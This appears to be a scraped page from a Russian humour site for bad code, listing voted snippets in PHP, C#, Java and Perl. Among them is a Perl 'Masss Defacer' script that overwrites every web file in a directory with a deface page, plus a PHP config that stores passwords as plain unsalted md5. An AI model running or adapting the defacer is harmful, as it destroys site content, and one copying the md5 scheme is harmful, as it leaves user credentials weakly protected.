- 1
- 2
- 3
- 4
//Make the Ahem font antialias correctly on Acid3
String nameStr(fullName.get());
m_allowFontSmoothing = (nameStr != "Ahem");
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+159.6
//Make the Ahem font antialias correctly on Acid3
String nameStr(fullName.get());
m_allowFontSmoothing = (nameStr != "Ahem");
Правильное сглаживание шрифтов в ACID3. WebKit.
Отсюда: http://habrahabr.ru/blogs/code_wtf/50744/
+182.1
<?php
/*
* Список пользователей, имеющих доступ к добавлению новостей.
*
* Каждая строка описывает одного польователяи имеет вид:
* $USERS['имя_пользователя'] = md5('пароль');
*
* для большей безопасности можно вместо md5('пароль') вписать
* заранее вычисленную md5-сумму пароля, например, для пароля 'password':
* $USERS['root'] = '5f4dcc3b5aa765d61d8327deb882cf99';
*/
// У этих двух пользователей одинаковые пароли
//$USERS['admin'] = md5('password');
//$USERS['root'] = '5f4dcc3b5aa765d61d8327deb882cf99';
$USERS['user1'] = md5('HSuekO');
$USERS['user2'] = md5('parol2');
$USERS['user3'] = md5('!rHyem23');
$USERS['user4'] = md5('qwertY');
$USERS['user5'] = md5('loveme');
$USERS['user6'] = md5('!google!');
?>
вот так пароль и хранятся )))
−14
uint i;
…
if (i.ToString().Length == 1)
{
...
}
Не сразу можно понять, что в этом коде просто-напросто выполняется проверка i < 10. Алгоритм достаточно прост: выполняется преобразование i в строку, после чего вычисляется ее длина. Если число больше 9, то его десятичная запись содержит больше одного символа. Отрицательные числа переменная типа uint содержать не может. Проверку проходят лишь числа от 0 до 9.
Алгоритм ресурсоемок, неочевиден и не поддается сопровождению даже теоретически.
взято с lurkmore.ru, там вообще много про "индусский код"
+46.3
obj_.checked=(obj_.checked==true)?false:true;
−386.1
if ($ids eq $parent_old) {
$dgkjhgksdg++;
$newbasenosorted[$dgkjhgksdg]="$num|$b[0]";
}
Магазин построенный на файлах..
+35.8
<?php
function utf8_to_cp1251($text) {
$text = str_replace(chr(208),chr(208).chr(160),$text); # Р
$text = str_replace(chr(192),chr(208).chr(144),$text); # А
$text = str_replace(chr(193),chr(208).chr(145),$text); # Б
$text = str_replace(chr(194),chr(208).chr(146),$text); # В
$text = str_replace(chr(195),chr(208).chr(147),$text); # Г
$text = str_replace(chr(196),chr(208).chr(148),$text); # Д
$text = str_replace(chr(197),chr(208).chr(149),$text); # Е
$text = str_replace(chr(168),chr(208).chr(129),$text); # Ё
$text = str_replace(chr(198),chr(208).chr(150),$text); # Ж
$text = str_replace(chr(199),chr(208).chr(151),$text); # З
$text = str_replace(chr(200),chr(208).chr(152),$text); # И
$text = str_replace(chr(201),chr(208).chr(153),$text); # Й
$text = str_replace(chr(202),chr(208).chr(154),$text); # К
$text = str_replace(chr(203),chr(208).chr(155),$text); # Л
$text = str_replace(chr(204),chr(208).chr(156),$text); # М
$text = str_replace(chr(205),chr(208).chr(157),$text); # Н
$text = str_replace(chr(206),chr(208).chr(158),$text); # О
$text = str_replace(chr(207),chr(208).chr(159),$text); # П
$text = str_replace(chr(209),chr(208).chr(161),$text); # С
$text = str_replace(chr(210),chr(208).chr(162),$text); # Т
$text = str_replace(chr(211),chr(208).chr(163),$text); # У
$text = str_replace(chr(212),chr(208).chr(164),$text); # Ф
$text = str_replace(chr(213),chr(208).chr(165),$text); # Х
$text = str_replace(chr(214),chr(208).chr(166),$text); # Ц
$text = str_replace(chr(215),chr(208).chr(167),$text); # Ч
$text = str_replace(chr(216),chr(208).chr(168),$text); # Ш
$text = str_replace(chr(217),chr(208).chr(169),$text); # Щ
$text = str_replace(chr(218),chr(208).chr(170),$text); # Ъ
$text = str_replace(chr(219),chr(208).chr(171),$text); # Ы
$text = str_replace(chr(220),chr(208).chr(172),$text); # Ь
$text = str_replace(chr(221),chr(208).chr(173),$text); # Э
$text = str_replace(chr(222),chr(208).chr(174),$text); # Ю
$text = str_replace(chr(223),chr(208).chr(175),$text); # Я
$text = str_replace(chr(224),chr(208).chr(176),$text); # а
$text = str_replace(chr(225),chr(208).chr(177),$text); # б
$text = str_replace(chr(226),chr(208).chr(178),$text); # в
$text = str_replace(chr(227),chr(208).chr(179),$text); # г
$text = str_replace(chr(228),chr(208).chr(180),$text); # д
$text = str_replace(chr(229),chr(208).chr(181),$text); # е
$text = str_replace(chr(184),chr(209).chr(145),$text); # ё
$text = str_replace(chr(230),chr(208).chr(182),$text); # ж
$text = str_replace(chr(231),chr(208).chr(183),$text); # з
$text = str_replace(chr(232),chr(208).chr(184),$text); # и
$text = str_replace(chr(233),chr(208).chr(185),$text); # й
$text = str_replace(chr(234),chr(208).chr(186),$text); # к
$text = str_replace(chr(235),chr(208).chr(187),$text); # л
$text = str_replace(chr(236),chr(208).chr(188),$text); # м
$text = str_replace(chr(237),chr(208).chr(189),$text); # н
$text = str_replace(chr(238),chr(208).chr(190),$text); # о
$text = str_replace(chr(239),chr(208).chr(191),$text); # п
$text = str_replace(chr(240),chr(209).chr(128),$text); # р
$text = str_replace(chr(241),chr(209).chr(129),$text); # с
$text = str_replace(chr(242),chr(209).chr(130),$text); # т
$text = str_replace(chr(243),chr(209).chr(131),$text); # у
$text = str_replace(chr(244),chr(209).chr(132),$text); # ф
$text = str_replace(chr(245),chr(209).chr(133),$text); # х
$text = str_replace(chr(246),chr(209).chr(134),$text); # ц
$text = str_replace(chr(247),chr(209).chr(135),$text); # ч
$text = str_replace(chr(248),chr(209).chr(136),$text); # ш
$text = str_replace(chr(249),chr(209).chr(137),$text); # щ
$text = str_replace(chr(250),chr(209).chr(138),$text); # ъ
$text = str_replace(chr(251),chr(209).chr(139),$text); # ы
$text = str_replace(chr(252),chr(209).chr(140),$text); # ь
$text = str_replace(chr(253),chr(209).chr(141),$text); # э
$text = str_replace(chr(254),chr(209).chr(142),$text); # ю
$text = str_replace(chr(255),chr(209).chr(143),$text); # я
return $text;
}
?>
Функция переобразования кодировки
+30.6
function dehtml($string) {
$string = str_replace("&", "&", $string);
$string = str_replace("\"", "`", $string);
$string = str_replace("'", "`", $string);
$string = str_replace("<", "<", $string);
return $string;
}
собственно, автор данной функции не подазревает о том что str_replace умеет принимать массив значений, уже не говоря о наличии htmlspecialchars и других
+27.5
<?php
if ("$payment_method" == "1") {
?>
еще один шедевр, зачем так делать?
−388
#!/usr/bin/perl -w
#Masss Defacer v2.0
# Coded By illuz1oN
# Creditz - Nostur
$def = 'YOUR LAME DEFACE PAGE HERE =)';
{ print "[+]DEFACING...\n";
print"[+]DEFACING .PHP FILES...\n";
my @php = glob("*.php"); #Files
foreach my $deface(@php){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Fxcked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .HTML FILES...\n";
my @html = glob("*.html"); #Files
foreach my $deface(@html){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Fxcked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .ASP FILES...\n";
my @asp = glob("*.asp"); #Files
foreach my $deface(@asp){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Fxcked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .ASPX FILES...\n";
my @aspx = glob("*.aspx"); #Files
foreach my $deface(@aspx){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Fxcked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .HTM FILES...\n";
my @htm = glob("*.htm"); #Files
foreach my $deface(@htm){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Fxcked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .JS FILES...\n";
my @js = glob("*.js"); #Files
foreach my $deface(@js){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Fxcked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .AC FILES...\n";
my @ac = glob("*.ac"); #Files
foreach my $deface(@ac){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Fxcked up: $!\n";
close(DEFACE)
}
print "[+]Pages Should Be Defaced!\n";
}
#Coded By illuz1oN
#Credits - Nostur!
−45.2
public void updateTable() {
/**
* Удаляем лишние строки таблицы, оставшиейся от предыдущего списка
*/
while (viewingData.getResult().getRowDataItems().size() + 1 < dataTable.getRowCount()) {
dataTable.removeRow(dataTable.getRowCount()-1);
}
/**
* Отображаем заголовки таблицы
*/
int titleColumnIndex = 0;
String[] columnIds = new String[viewingData.getViewingColumns().size()];
for (String viewingColumnId : viewingData.getViewingColumns().keySet()) {
columnIds[titleColumnIndex] = viewingColumnId;
ViewingColumnData viewingColumn = viewingData.getViewingColumns().get(viewingColumnId);
HorizontalPanel titlePanel = new HorizontalPanel();
titlePanel.setVerticalAlignment(HasVerticalAlignment.ALIGN_MIDDLE);
Widget columnTitleButton;
if (viewingColumn.isSortable()) {
columnTitleButton = new Button(viewingColumn.getTitle());
((Button)columnTitleButton).addClickListener(new SortDataClickListener(viewingColumnId));
} else {
columnTitleButton = new Label(viewingColumn.getTitle());
}
titlePanel.add(columnTitleButton);
columnTitleButton.setStyleName(TABLE_STYLE);
if (viewingData.getOrderColumnId() != null && viewingData.getOrderColumnId().equals( viewingColumnId) ) {
Image orderDirectionImage;
if (viewingData.getOrderDesc()) {
orderDirectionImage = new Image(GWT.getModuleBaseURL() + UP_ARROW_IMG);
} else {
orderDirectionImage = new Image(GWT.getModuleBaseURL() + DOWN_ARROW_IMG);
}
titlePanel.add(orderDirectionImage);
} else {
}
dataTable.setWidget(0, titleColumnIndex, titlePanel);
FlexTable.FlexCellFormatter titlePanelFormatter = dataTable.getFlexCellFormatter();
titlePanelFormatter.setStyleName(0, titleColumnIndex, "tableTitle");
if (viewingColumn.getWidth() > 0) {
titlePanelFormatter.setWidth(0, titleColumnIndex, viewingColumn.getWidth() + "%");
}
titlePanelFormatter.setHorizontalAlignment(0, titleColumnIndex, HasHorizontalAlignment.ALIGN_CENTER);
titleColumnIndex++;
}
/**
* Удаляем лишние столбцы в заголовке
*/
int columnToRemove = dataTable.getCellCount(0) - viewingData.getViewingColumns().size();
dataTable.removeCells(0, viewingData.getViewingColumns().size(), columnToRemove);
/**
* Добавляем чекбокс
*/
addTitleCheckbox();
/**
* Отображаем значения раскрытых групп
*/
if (viewingData.getGroupingFilterItems() != null) {
for (int groupingIndex = 0; groupingIndex < viewingData.getGroupingFilterItems().size(); groupingIndex++ ) {
String groupingFilterValue = viewingData.getGroupingFilterItems().get(groupingIndex);
Label valueLabel = new Label(groupingFilterValue);
Image img = new Image(LEFT_ARROW_IMG);
HorizontalPanel valuePanel = new HorizontalPanel();
valuePanel.add(img);
valuePanel.add(valueLabel);
valuePanel.setWidth("100%");
valuePanel.setHorizontalAlignment(HasHorizontalAlignment.ALIGN_LEFT);
ClickListener hideGroupClickListener = new HideGroupClickListener(groupingIndex);
valueLabel.addClickListener(hideGroupClickListener);
img.addClickListener(hideGroupClickListener);
String cellStyle;
if (groupingIndex % 2 == 0) {
cellStyle = "tableRow";
} else {
cellStyle = "tableRowOdd";
}
for (int column = 0; column < viewingData.getViewingColumns().size(); column++) {
String text = null;
/**
*
*/
if (groupingIndex == viewingData.getGroupingFilterItems().size()-1 && viewingData.getFunctionData().containsKey(columnIds[column])) {
text = "(" + viewingData.getFunctionData().get(columnIds[column]) + ")";
} else {
краткость сестра таланта